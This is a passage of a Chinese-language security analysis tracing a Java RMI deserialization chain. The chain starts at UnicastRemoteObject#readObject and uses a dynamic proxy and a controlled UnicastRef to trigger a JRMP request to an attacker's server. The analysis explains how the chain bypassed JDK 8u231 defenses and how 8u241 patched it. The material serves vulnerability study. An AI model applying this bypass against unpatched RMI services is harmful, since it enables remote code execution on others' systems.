incomingRefTable
中读取ref进行开始JRMP请求
从 java.rmi.server.UnicastRemoteObject#readObject 开始跟一下:
private void readObject(java.io.ObjectInputStream in) throws java.io.IOException, java.lang.ClassNotFoundException { in.defaultReadObject(); reexport();//这里 }
跟进java.rmi.server.UnicastRemoteObject#reexport
:
private void reexport() throws RemoteException { if (csf == null && ssf == null) { exportObject((Remote) this, port); } else { //payload是填充了ssf的,这里 exportObject((Remote) this, port, csf, ssf); } }
一直跟到 sun.rmi.transport.tcp.TCPEndpoint#newServerSocket
ServerSocket newServerSocket() throws IOException { if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) { TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this); } Object var1 = this.ssf; if (var1 == null) { var1 = chooseFactory(); } //var1就是我们的payload中构建的ssf.调用他的createServerSocket //会根据动态代理进入RemoteObjectInvocationHandler#invoke ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort); if (this.listenPort == 0) { setDefaultPort(var2.getLocalPort(), this.csf, this.ssf); }
触发了动态代理(和之前攻击用动态代理的原因不同,这里用到的是其会调用 invoke 的性质),进入 java.rmi.server.RemoteObjectInvocationHandler#invoke,到 else 分支触发 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod
private Object invokeRemoteMethod(Object proxy, Method method, Object[] args) throws Exception { try { if (!(proxy instanceof Remote)) { throw new IllegalArgumentException( "proxy not Remote instance"); } //我们payload把RemoteObjectInvocationHandler的ref写成了JRMP恶意服务器地址 //这里开始了触发JRMP请求 return ref.invoke((Remote) proxy, method, args, getMethodHash(method)); } catch (Exception e) {
ref 就是我们控制的 UnicastRef 对象,然后就会进到 sun.rmi.server.UnicastRef#invoke(java.rmi.Remote, java.lang.reflect.Method, java.lang.Object[], long) 里,进入 var7.executeCall(),最后在里面触发反序列化。
然后这个方法能绕过 8u231的限制。。。
- 首先这个复写过程是顺着下来一气呵成的,不存在之前先存-再用的问题,不受清除 ref 的影响。
- 没有走 DGC 层的 dirty,直接调了 ref 的 invoke,黑名单没用了。
8u241的修复
把本来的(String)var9.readobject()
改成了
SharedSecrets.getJavaObjectInputStreamReadString().readString(var9);
前者是可以反序列化Object的,但是后者就完全不接受反序列化Object。
//8u241时这里,type传入String private Object readObject0(Class> type, boolean unshared) throws IOException { //... case TC_OBJECT://我们输入的payload对象是一个Object if (type == String.class) { //8u241 type=String 直接在此处报错不进行反序列化了 throw new ClassCastException("Cannot cast an object to java.lang.String"); } //之前的版本都是传入type=Object于是正常反序列化 return checkResolve(readOrdinaryObject(unshared)); //.. }
如果参数类型是 String 则会直接拒绝反序列化。
第二处是在 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 中加入了 method 的验证(不可控),bind + 可认证 ip 的攻击也无了。